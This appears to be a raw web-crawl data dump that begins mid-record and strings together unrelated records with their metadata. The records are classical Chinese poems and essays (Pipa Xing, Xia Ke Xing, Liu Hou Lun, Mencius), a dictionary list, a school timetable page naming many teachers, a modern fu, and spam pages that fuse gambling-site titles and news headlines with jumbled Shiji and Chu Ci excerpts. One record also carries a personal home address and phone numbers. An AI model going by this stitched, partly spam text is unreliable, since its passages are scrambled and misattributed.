\n嘈嘈切切錯雜彈,大珠小珠落玉盤.閒關鶯語花底滑,幽咽流泉水下灘.\n水泉冷澀弦凝絕,凝絕不通聲漸歇.別有幽愁暗恨生,此時無聲勝有聲.\n銀瓶乍破水漿迸,鐵騎突出刀鎗鳴.曲終收撥當心畫,四弦一聲如裂帛.\n東船西舫悄無言,惟見江心秋月白.沉吟放撥插絃中,整頓衣裳起斂容.\n自言本是京城女,家在蝦蟆陵下住.十三學得琵琶成,名屬教坊第一部.\n曲罷常教善才服,妝成每被秋娘妒.五陵年少爭纏頭,一曲紅綃不知數.\n鈿頭銀篦擊節碎,血色羅裙翻酒污.今年歡笑復明年,秋月春風等閒度.\n弟走從軍阿姨死,暮去朝來顏色故.門前冷落車馬稀,老大嫁作商人婦.\n商人重利輕別離,前月浮梁買茶去.去來江口守空船,繞船明月江水寒.\n夜深忽夢少年事,夢啼妝淚紅闌干.我聞琵琶已嘆息,又聞此語重唧唧.\n同是天涯淪落人,相逢何必曾相識.我從去年辭帝京,謫居臥病潯陽城.\n潯陽地僻無音樂,終歲不聞絲竹聲.住近湓城地低濕,黃蘆苦竹繞宅生.\n其間日暮聞何物,杜鵑啼血猿哀嗚.春江花朝秋月夜,往往取酒還獨傾.\n豈無山歌與村笛?嘔啞嘲晰難為聽.今夜聞君琵琶語,如聽仙樂耳暫明.\n莫辭更坐彈一曲,為君翻作琵琶行.感我此言良久立,卻坐促絃絃轉急.\n淒淒不似向前聲,滿座重聞皆掩泣.座中泣下誰最多,江州司馬青衫濕.\n李白【俠客行】\n趙客縵胡纓 吳鉤霜雪明\n銀鞍照白馬 颯沓如流星\n十步殺一人 千里不留行\n事了拂衣去 深藏身與名\n閒過信陵飲 脫劍膝前橫\n將炙啖朱亥 持觴勸侯贏\n三盃吐然諾 五嶽倒為輕\n眼花耳熱後 意氣素霓生\n救趙揮金槌 邯鄲先震驚\n千秋二壯士 烜赫大梁城\n縱使俠骨香 不慚世上英\n誰能書閤下 白首太玄經\n\n\nContact:\nE-mail email@example.com\nAddress 422 N. Segoe Rd. Apt. 73B,\nMadison, WI 53705\nPhone H: 608-236-9763\nCS: 608-262-7500","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/pages.cs.wisc.edu\/~yu-chi\/Poet.htm","date":"2017-10-22T17:07:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187825399.73\/warc\/CC-MAIN-20171022165927-20171022185927-00857.warc.gz","language":"lzh","language_score":0.3883115649,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.38831156492233276, \"cmn_Hani_score\": 0.31615787744522095, \"nan_Hani_score\": 0.20218704640865326, \"yue_Hani_score\": 0.03590217977762222, \"wuu_Hani_score\": 0.032126154750585556, \"jpn_Jpan_score\": 0.017254984006285667}","num_words":145,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.34,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中庸之道 回到上页 子程子曰\"不偏之谓中,不易之谓庸。中者,天下之正道。庸者,事物之定理。 子曰:吾十有五而志于学,三十而立,四十而不惑,五十而知天命,六十而耳顺,七十而从心所欲不踰矩。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/sun0moon.com\/me\/qitawenjian\/hangzhou\/yangsheng\/zhongyong.htm","date":"2018-11-15T19:11:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742906.49\/warc\/CC-MAIN-20181115182450-20181115204450-00549.warc.gz","language":"lzh","language_score":0.6355630159,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6355630159378052, \"cmn_Hani_score\": 0.34390515089035034, \"yue_Hani_score\": 0.011865257285535336}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.63,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n留侯論 蘇軾\n古之所謂豪傑之士、必有過人之節。伏能忍。人情有所不能忍者、匹夫見辱、拔劍而起、挺身而鬬、此不足爲勇也。不能忍者。天下有大勇者、卒猝、然臨之而不驚、無故加之而不怒。此其所挾持者甚大、而其志甚遠也。能忍者。 ○能忍不能忍、是一篇主意。夫子房受書於圯夷、上之老人也、其事甚怪。楚人謂橋爲圯。史記、張良嘗遊下邳、圯上有一老父、衣褐至良所、直墮其履圯下、顧謂良曰、孺子下取履。良愕然、欲毆之。爲其老、彊忍下取履。父曰、履我、良業爲取履、因長跪履之。父以足受、笑而去。去里所、復還曰、孺子可教矣。約後五日、平明、會圯上。怒良後至者再。最後出一篇書曰、讀此則爲王者師矣。後十年興、十三年、孺子見我濟北穀城山下、黃石卽我矣。遂去、不復見。 ○入事。然亦安知其非秦之世、有隱君子者、出而試之。觀其所以微見其意者、皆聖賢相與警戒之義。而世不察、以爲鬼物、亦已過矣。看老人事、非渺茫鬼怪、特作翻案、妙。且其意不在書。深入一層發議、此句乃一篇之頭也。當韓之亡、秦之方盛也、以刀鋸鼎鑊待天下之士、其平居無事夷滅者、不可勝升、數。上聲、雖有賁孟賁。育、夏育。無所複施。夫持法太急者、其鋒不可犯、而其勢未可乘。有大勇者、當此時自能忍之。子房不忍忿忿之心、以匹夫之力、而逞於一擊之閒。當此之時、子房之不死者、其閒不能容髮、蓋亦危矣。良、韓人、其先五世相韓。秦滅韓、良欲爲韓報仇。求得力士、爲鐵椎重百二十斤、狙擊秦始皇博浪沙中、誤中副車、秦始皇大怒、大索天下十日、弗獲。 ○此正不能忍之故。先抑一筆。千金之子、不死于盜賊。何哉、其身可愛、而盜賊之不足以死也。子房以蓋世之才、不爲伊尹太公之謀、而特出於荊軻聶政兩刺客。之計、以僥倖於不死、再抑一筆。此圯上老人所爲深惜者也。惜其不能忍。是故倨傲鮮上聲、腆忝、而深折之、鮮腆、言不爲禮也。彼其能有所忍也、然後可以就大事、故曰孺子可教也。此段見老人以一忍字、造就子房。是解上文、意不在書一句。楚莊王伐鄭、鄭伯肉袒牽羊以迎。莊王曰、其主能下人、必能信用其民矣。遂舍之。鄭伯能忍。句踐之困於會稽、而歸臣妾於吳者、三年而不倦。句踐能忍。且夫有報人之志、而不能下人者、是匹夫之剛也。此下又提前語申論之、前只虛括、此乃實發。夫老人者、以爲子房才有餘而憂其度量之不足、故深折其少年剛銳之氣、使之忍小忿而就大謀。何則。非有生平之素、卒然相遇於草野之閒、而命以僕妾之役、油然而不怪者、此固秦皇之所不能驚、而項籍之所不能怒也。子房之於老人、可謂卒然臨之而不驚、無故加之而不怒矣。雖有秦皇項籍、亦不能驚而怒之也。 ○此段極寫子房之能忍、以見其爲天下之大勇。觀夫高祖之所以勝、而項籍之所以敗者、在能忍與不能忍之間而已矣。忽推論到高祖項籍、正欲說歸子房。項籍唯不能忍、是以百戰百勝、而輕用其鋒。高祖忍之、養其全鋒而待其敝、此子房教之也。高祖能忍、由子房教之、所謂忍小忿而就大謀者以此。當淮陰破齊、而欲自王、高祖發怒、見於詞色。由是觀之、猶有剛強不能忍之氣、非子房其誰全之。淮陰侯韓信、請爲假王、漢王大怒、張良躡漢王足、因附耳語、漢王悟、立信爲齊王。 ○舉一事、以明子房教高祖能忍。太史公疑子房以爲魁梧奇偉、而其狀貌乃如婦人女子、不稱去聲、其志氣。史記、留侯世家贊、余以爲其人、計魁梧奇偉、至見其圖、狀貌如婦人好女。嗚呼、此其所以爲子房歟。淡語作收、含蓄多少。\n人皆以受書爲奇事、此文得意在且其意不在書、一句撇開、拏定忍字發議。滔滔如長江大河、而渾浩流轉、變化曲折之妙、則純以神行乎其閒。","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/neodu.com\/%E3%80%8A%E7%95%99%E4%BE%AF%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-11-30T07:03:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358953.29\/warc\/CC-MAIN-20211130050047-20211130080047-00012.warc.gz","language":"lzh","language_score":0.7999293208,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7999293208122253, \"cmn_Hani_score\": 0.08820036053657532, \"nan_Hani_score\": 0.04215870425105095, \"jpn_Jpan_score\": 0.023217923939228058}","num_words":11,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.8,"perplexity_score":500.0,"cluster_detection":1} +{"text":"舜發於畎畝之中,傅說舉於版築之間,膠鬲舉於魚鹽之中,管夷吾舉於士,孫叔敖舉于海,百里奚舉於市。\n故天將降大任於斯人也,必先苦其心志,勞其筋骨,餓其體膚,空乏其身,行拂亂其所為,所以動心忍性,曾益其所不能。(斯人 一作:是人)\n人恆過,然後能改;困於心\n魚,我所欲也;熊掌,亦我所欲也,二者不可得兼,舍魚而取熊掌者也。生,亦我所欲也;義,亦我所欲也。二者不可得兼,捨生而取義者也。生亦我所欲,所欲有甚於生者,故不為苟得也。死亦我所惡,所惡有甚於死者,故患有所不辟也。如使人之所欲莫甚於生,則凡可以得生者何不用也。使人之所惡莫甚於死者,則凡可以辟","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.arteducation.com.tw\/search\/%E5%AD%9F%E5%AD%90%E5%8F%8A%E5%85%B6%E5%BC%9F%E5%AD%90","date":"2022-01-22T08:38:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303779.65\/warc\/CC-MAIN-20220122073422-20220122103422-00184.warc.gz","language":"lzh","language_score":0.4874997139,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4874997138977051, \"cmn_Hani_score\": 0.4488428235054016, \"nan_Hani_score\": 0.031184814870357513, \"wuu_Hani_score\": 0.022700805217027664}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.663,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.清顺治后,将皇家军队分为\"上三旗\"和\"下五旗\"。镶黄﹑正黄﹑正白称为\"上三旗\",为皇帝亲兵。正红﹑正蓝﹑镶白﹑镶红﹑镶蓝称为\"下五旗\",由宗室诸王﹑贝勒﹑贝子等分统,驻守京师及各地。合称\"满洲八旗\"。\n上丁 上上 上上下下 上上乘 上上人 上上手 上下 上下一心 上下为难 上下交困 上下交征 上下其手 上下同心 上下同欲 上下同门 上下和合 上下平 上下床 上下忙 三K党 三一 三一三十一 三一八惨案 三一回五一回 三一律 三一运动 三七 三七分 三七分开 三七开 三七斋 三万六千场 三万六千日 三三 三三两两 三三五五 三三制 三三制政权 三三四四 旗丁 旗下 旗主 旗亭 旗人 旗仗 旗伞 旗兵 旗军 旗号 旗器 旗地 旗头 旗妇 旗子 旗学 旗官 旗尉 旗尾 旗布","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/cidian.xpcha.com\/d8f6aeini4u.html","date":"2017-05-27T02:24:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608765.79\/warc\/CC-MAIN-20170527021224-20170527041224-00313.warc.gz","language":"lzh","language_score":0.5079834461,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5079834461212158, \"cmn_Hani_score\": 0.2925749123096466, \"nan_Hani_score\": 0.13339659571647644, \"yue_Hani_score\": 0.03383966162800789, \"jpn_Jpan_score\": 0.030082430690526962}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.335,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.597,"perplexity_score":500.0,"cluster_detection":1} +{"text":"萬 年 小 曆 西元 2002 年 12份 S M T W T F S 在這裡,你可以列印教師授課表。 學年度學期\/ 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 第一學期 第二學期 暑修一 暑修二 寒假 教師授課學部篩選\/ --- 日間部 在職專班 夜間部 特殊專班 教師篩選\/ 温詩宜 丁國強 丁肇鳳 山夢嫻 文懋新 方淳民 毛遠薪 王正如 王永賢 王玉華 王均安 王美業 王偉弘 王國忠 王國慶 王國馨 王授民 王涵潁 王勝平 王尊賢 王惠美 王慈婷 王麗華 甘博介 白依璇 白榮逸 任修平 朱凡欣 朱莉群 朱雯 朱嘉惠 朱憶慈 朱麒華 江怡慧 江悅慈 江素芬 江慧玲 池雅慧 何文雅 何正峰 何宜倩 何昆達 何金城 何昭中 何秋蓉 何美華 何萬良 余雅虹 吳永安 吳佳幸 吳佩燁 吳坤展 吳昌翰 吳明峰 吳俐雯 吳玲玲 吳皇珠 吳美玲 吳美惠 吳展岳 吳珮甄 吳倢瑜 吳晨淨 吳紹瑜 吳德培 吳曉玲 吳駿誼 呂欣芸 呂昭芬 呂美煥 呂素卿 宋威徹 宋嘉宏 巫慧芳 李文萍 李宏才 李佳靜 李怡芳 李怡賢 李昆懿 李欣芳 李芸玫 李芷葶 李恆 李秋香 李哲榮 李書芬 李素玉 李素真 李彩歆 李淑慧 李智堯 李湘琳 李筱薇 李嘉玲 李維鈞 李慶賢 李慧珊 李靜雯 李禮君 李瓊淑 李麗燕 杜文蘭 杜宛芯 沈文偉 沈宜慧 沈珊如 汪曉琪 車成緯 周士傑 周玫 周雨樺 尚忠菁 幸瑾華 於淑娟 林之淵 林永森 林宏明 林志弘 林秀節 林依宣 林佳田 林孟葳 林宜君 林宜德 林忠義 林欣怡 林玫君 林俐岑 林冠伶 林彥伯 林彥志 林思彤 林柳村 林秋英 林茂成 林韋亨 林家玉 林家瑜 林書田 林書漢 林素珠 林國凱 林淑敏 林琪凰 林資荃 林禎祥 林鳳卿 林慧敏 林慧慈 林錦定 林麗芬 邸彥 邱弘裕 邱白恩 邱淑如 邱詠朗 金玉花 金坤明 侯秀春 姚丹雅 待聘教師 施秀蓉 洪文綺 洪吉祥 洪皖中 洪聖均 洪慧娟 紀雯真 胡幼蓁 胡祖櫻 胡惠苓 胡慧芬 范家榮 倪雅華 奚正德 孫德萍 徐君臨 徐智群 翁晨浩 翁麗緻 郝崇文 高志岳 高秀君 高家珍 高淑允 高愷悌 高溱璟 高榮孝 高銘宏 高儷真 崔東霖 張心玫 張文智 張谷光 張欣翰 張芳瑜 張春美 張映 張家豪 張峰睿 張庭瑄 張浩峰 張晟瑜 張淑琴 張慎儀 張耀欣 梁貴閔 梁雅虹 莊文生 莊美月 莊博涵 莊欽雅 莊禮聰 許瀞 許弘 許玉嫺 許玉美 許玉娟 許立偉 許怡平 許芳瑞 許晊豪 許博文 許藍方 許寶鶯 許靈恩 連家萱 連蔓榛 郭克婷 郭家瑋 郭庭君 郭梅珍 郭維邦 郭燕菁 郭懷婷 陳珏如 陳允 陳文杏 陳世民 陳必卿 陳立賢 陳秀妹 陳佳雯 陳佩彥 陳宜鴻 陳怡佳 陳怡潔 陳明男 陳明治 陳俊中 陳俊宇 陳冠華 陳威廷 陳宣佑 陳宥如 陳建村 陳建榮 陳彥如 陳彥如 陳昱瑋 陳洛嘉 陳美玲 陳美玲 陳美鈴 陳香蘭 陳珮茹 陳偉琪 陳清安 陳淑貞 陳紹聖 陳惠明 陳惠齡 陳智怡 陳華偉 陳貴梅 陳雅妍 陳運陞 陳嘉雯 陳蓓蒂 陳穎涵 陳靜玲 陳懋昌 陳麒方 陳麗華 傅乙庭 傅麗珍 彭加雯 彭成莉 彭瑞琪 彭熙寧 曾媖蘭 曾冠樺 曾奕翔 曾郁哲 曾惓慈 游雅婷 湯勝輝 湯雅琳 湯雅雯 程美玲 程珮涵 程詩茹 馮典章 黃一玲 黃于庭 黃世欣 黃玉緞 黃志華 黃育正 黃秉炘 黃金堂 黃建華 黃美莉 黃庭偉 黃婉婷 黃惠珠 黃琦珍 黃敬傑 黃新元 黃楷雯 黃詩芸 黃靖雯 黃嘉惠 黃慶福 黃靜英 黃蕾 黃瓊真 黃麗芬 楊于嬋 楊子昇 楊宇寧 楊至中 楊芳雅 楊淑溫 楊惠晶 楊程媛 楊舒帆 楊萬象 楊賢傑 楊適菁 楊韻玫 溫采薇 萬若藻 葉秀珍 葉書吟 葉國良 葉嘉中 葉孺萱 葛世萱 董立夫 董靜茹 詹嫦慧 鄒繼群 鄔正豪 廖月玲 廖姝安 廖珮君 廖熒虹 蒲孝慈 趙佑宸 趙德群 劉文榮 劉沅臻 劉育秀 劉孟娟 劉苑蓉 劉書玉 劉淑秋 劉絲涵 劉嫈茹 劉滿婷 劉曉雲 劉樹玲 劉薏蓉 劉瀚文 樂冠妤 潘玉愛 蔣智宏 蔡如怡 蔡志勤 蔡秀雲 蔡佳玲 蔡東志 蔡竣傑 蔡菁菁 蔡逸舟 蔡閔仰 蔡靜琪 蔡曜宇 蔡鎮宇 鄭仕一 鄭茜如 鄭慧茹 鄭慧菁 黎達明 盧銀華 蕭人瑄 蕭淑貞 蕭慧瑛 賴玉墀 賴妙娟 賴明宏 賴思潔 賴美玟 賴韋婷 賴家瑞 賴淑雯 賴琦琇 賴皓屏 駱芳宜 戴宇光 戴嘉余 戴慧琳 戴麗藹 薛來銘 薛茹茵 薛慧平 謝奇儔 謝明志 謝思嘉 謝家如 謝榮忠 謝錦桐 謝燿州 鍾大定 鍾承麟 簡秀凌 簡瑋萱 簡綺彣 藍采虹 藍美玉 闕帝宜 顏映萱 羅仁傑 羅心汝 羅文華 羅玉如 羅瑞蓮 邊立中 蘇信川 蘇益慶 蘇曉琪 鐘靜芬 饒文貞 顧曼晴 單一教師直式 063101 單一教師橫式 063102 注意事項\/ 老師授課時數不包含已經進行停課作業的課程. 篩選列印[各教師]的報表,僅供除錯使用,所有課程均須指派老師,否則老師無法上線進行打成績與點名等相關作業操作。","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/sais.ctcn.edu.tw\/IISystem\/HR\/hourlypay\/school\/Employee\/Report2\/index3.jsp","date":"2019-05-27T05:21:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232261326.78\/warc\/CC-MAIN-20190527045622-20190527071622-00326.warc.gz","language":"lzh","language_score":0.5391564369,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.539156436920166, \"cmn_Hani_score\": 0.2643831968307495, \"nan_Hani_score\": 0.18351250886917114}","num_words":478,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.538,"perplexity_score":500.0,"cluster_detection":1} +{"text":"情殇辞\n夫恋恋之痴情兮,虽欲罢而不能。何窈窕一佳人兮,觅往来之芳踪。日萦绕而难去兮,惟留 香之俪影。夜辗转而无眠兮,但摄魂之音容。步流水以濯忧兮,叹今生之孤零。登高山以遥 望兮,忆往事之何曾。其一笑而夺魄兮,悠悠忘乎西东。更一颦而断肠兮,飘飘不知秋冬。 尤回眸之顾盼兮,何玉立而亭亭。最欢笑之灵动兮,锁心房而重重。盈盈之善歌语兮,绕画 梁而不绝。翩翩之妙舞姿兮,走凤阙而飞腾。夜幕轻驰流星兮,纤纤玉指一点。娥眉凝簇繁 花兮,落落风情万种。求执手之不得兮,纵百思而无解。欲红袖之相伴兮,虽一笑而倾城。 眺残霞以浮想兮,竟无语而泪流。寄明月以惆怅兮,忽凄迷而心动。晚风乱拨 长发兮,倚危栏以送目。斜阳醉卧芳草兮, 望飞雁以传情。 任相思之泛滥兮,虽咫尺亦天涯。 凭爱恨之交加兮,纵木石亦生情。日恍恍思解逅兮,求一面以相慰。夜喃喃对明镜兮,想百 端以愉情。随浮云以飘摇兮,梦依依而**。寓杯酒以求醉兮,情切切而无声。试梅妆于清晨 兮,轻提画眉之笔。约良辰于黄昏兮,纵览风月之景。相怜爱以比翼兮,伴青春而翱游。同 携手以连理兮,任悲喜而与共。愿逍遥之山林兮,弃功名而不就。盼白首之偕老兮,并今世 而来生。唯伊人之一诺兮,便结好而缘定。奈此心之痴恋兮,岂忍就而天命。 葬哀伤而梦断兮,郁郁纯情之冢。碎星河而光折兮,忿忿剑气之冲。恨苍天之愚 弄兮,独憔悴而神伤。问尘缘之来由兮,恐不语而猝惊。挑孤灯以冥想兮,随夜幽而迷朦。 焚芝兰以祷祝兮,履晨霜而轻凝。数落花以遣倦兮,识聚散之有常。伴孤星以求眠兮,料此 恨之无穷。抚青锋而长啸兮,悲豪情之不复。奏管弦而呜咽兮,知心潮之涌动。挽宝髻而轻 抚兮,斜玉簪之曼妙。振双翼而缠绵兮,慕化蝶之永恒。 夜凄凄以孤眠兮,伏绣榻而怀想。月冷冷以自照兮,酌斛觞而对影。扰愁肠而独 坐兮,正西风之渐冷,乱思绪而徘徊兮,犹霏雨之懵懂。忆旧时之言笑兮,哀今日之伤痛。 想神女之迷惘兮,怜襄王之好梦。读诗书而断肠兮,古多痴情之种。见离合而不寤兮,自是 消瘦之形。非乱世之姻缘兮,悲香君之画扇。纵年少之轻浮兮,亦赵四之钟情。阴阳相隔难 忘兮,泣病榻之汉武。生死一往情深兮,望山陵之唐宗。轻千金而买笑兮,痴痴迷离之情。 怒冲冠而涂炭兮,奕奕红颜之重。 夜寂寥而无语兮,扪此心以自愧。风飘摇而不定兮,问今生以何从。依栏杆而凝愁 兮,踌躇天涯之路。惋落红而流涕兮,沉郁碧落之恸。便相对而啼泣兮,闪闪泪珠沉浸。抑 离恨而回肠兮,潇潇暮雨迷情。燕**而争闹兮,嘲缥缈之孤鸿。蝶漫舞而纷飞兮,戏碌碌之 群蜂。 抛世俗而当沽兮,抚雅琴之长卿。身显赫而不弃兮, 驭木牛之孔明。 枕相思以咨嗟兮, 泪凄凄而不悔。怀抑郁以蹉跎兮,梦渺渺而难醒。既知求之不得兮,魂飘飘而随风。箧情殇 之羁旅兮, 路茫茫而独行。啼夜月以悲戚兮,空余遗恨无数。愁日暮以望断兮,谁怜此番 痴情。","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/m.5xts.com\/read\/5c0a17cc05f7ff26d6f1707c.html","date":"2019-08-20T23:18:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315681.63\/warc\/CC-MAIN-20190820221802-20190821003802-00296.warc.gz","language":"lzh","language_score":0.7088339925,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7088339924812317, \"nan_Hani_score\": 0.11999353021383286, \"cmn_Hani_score\": 0.07769320905208588, \"jpn_Jpan_score\": 0.015938837081193924, \"yue_Hani_score\": 0.014068623073399067, \"wuu_Hani_score\": 0.010369007475674152}","num_words":38,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.468,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ag8亚游官网app下上海将重大突发公共卫生事件一级响应调整为二级\n楚闻廉颇在魏,阴使人迎之。廉颇一为楚将,无功,曰:\"我思用赵人。\"廉颇卒死于寿春。\n是时赵人徐乐、齐人严安俱上书言世务,各一事。徐乐曰:臣闻天下之患在於土崩,不在於瓦解,古今一也。何谓土崩?秦之末世是也。陈涉无千乘之尊,尺土之地,身非王公大人名族之後,无乡曲之誉,非有孔、墨、曾子之贤,陶硃、猗顿之富也,然起穷巷,奋棘矜,偏袒大呼而天下从风,此其故何也?由民困而主不恤,下怨而上不知,俗已乱而政不脩,此三者陈涉之所以为资也。是之谓土崩。故曰天下之患在於土崩。何谓瓦解?吴、楚、齐、赵之兵是也。七国谋为大逆,号皆称万乘之君,带甲数十万,威足以严其境内,财足以劝其士民,然不能西攘尺寸之地而身为禽於中原者,此其故何也?非权轻於匹夫而兵弱於陈涉也,当是之时,先帝之德泽未衰而安土乐俗之民众,故诸侯无境外之助。此之谓瓦解,故曰天下之患不在瓦解。由是观之,天下诚有土崩之势,虽布衣穷处之士或首恶而危海内,陈涉是也。况三晋之君或存乎!天下虽未有大治也,诚能无土崩之势,虽有彊国劲兵不得旋踵而身为禽矣,吴、楚、齐、赵是也。况群臣百姓能为乱乎哉!此二体者,安危之明要也,贤主所留意而深察也。\n先时庆父与哀姜私通,欲立哀姜娣子开。及庄公卒而季友立斑,十月己未,庆父使圉人荦杀鲁公子斑於党氏。季友饹陈。庆父竟立庄公子开,是为湣公。\n十五年,庄王崩,子釐王胡齐立。釐王三年,齐桓公始霸。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/qmmlr.calthb.com\/?qkwww\/98752.html","date":"2020-04-03T19:26:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370518622.65\/warc\/CC-MAIN-20200403190006-20200403220006-00273.warc.gz","language":"lzh","language_score":0.3968906999,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39689069986343384, \"cmn_Hani_score\": 0.3181595504283905, \"nan_Hani_score\": 0.11767954379320145, \"wuu_Hani_score\": 0.025125393643975258, \"zxx_Latn_score\": 0.017503684386610985, \"jpn_Jpan_score\": 0.015256527811288834, \"yue_Hani_score\": 0.01125280000269413, \"und_Tang_score\": 0.011019880883395672}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.371,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ag亚游ag8美媒疫情冲击下美国杠杆贷款市场潜藏危机\n蚤出者为赢,赢者为客。晚出者为缩,缩者为主人。必有天应见於杓星。同舍为合。相陵为斗,七寸以内必之矣。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n五年春,晋文公欲伐曹,假道於卫,卫人弗许。还自河南度,侵曹,伐卫。正月,取五鹿。二月,晋侯、齐侯盟于敛盂。\"卫侯请盟晋,晋人不许。卫侯欲与楚,国人不欲,故出其君以说晋。卫侯居襄牛,公子买守卫。楚救卫,不卒。晋侯围曹。三月丙午,晋师入曹,数之以其不用釐负羁言,而用美女乘轩者三百人也。令军毋入僖负羁宗家以报德。楚围宋,宋复告急晋。文公欲救则攻楚,为楚尝有德,不欲伐也;欲释宋,宋又尝有德於晋:患之。先轸曰:\"执曹伯,分曹、卫地以与宋,楚急曹、卫,其势宜释宋。\"於是文公从之,而楚成王乃引兵归。\n子曰:\"夏礼吾能言之,杞不足征也;殷礼吾能言之,宋不足征也。文献不足故也,足则吾能征之矣。\"\n後二岁,阖庐使太子夫差将兵伐楚,取番。楚惧吴复大来,乃去郢,徙於鄀。当是时,吴以伍子胥、孙武之谋,西破","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/8bfqy.cqyaohang.com\/ltfql\/192194.html","date":"2020-04-06T18:26:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371656216.67\/warc\/CC-MAIN-20200406164846-20200406195346-00197.warc.gz","language":"lzh","language_score":0.3995034993,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3995034992694855, \"cmn_Hani_score\": 0.2933339476585388, \"zxx_Latn_score\": 0.051922351121902466, \"nan_Hani_score\": 0.028193801641464233, \"wuu_Hani_score\": 0.021125396713614464, \"jpn_Jpan_score\": 0.015010903589427471, \"und_Yiii_score\": 0.014024711214005947, \"und_Cyrl_score\": 0.012629585340619087, \"und_Tang_score\": 0.012028678320348263, \"yue_Hani_score\": 0.01192021369934082, \"und_Xsux_score\": 0.01020180806517601}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.182,"perplexity_score":500.0,"cluster_detection":1} 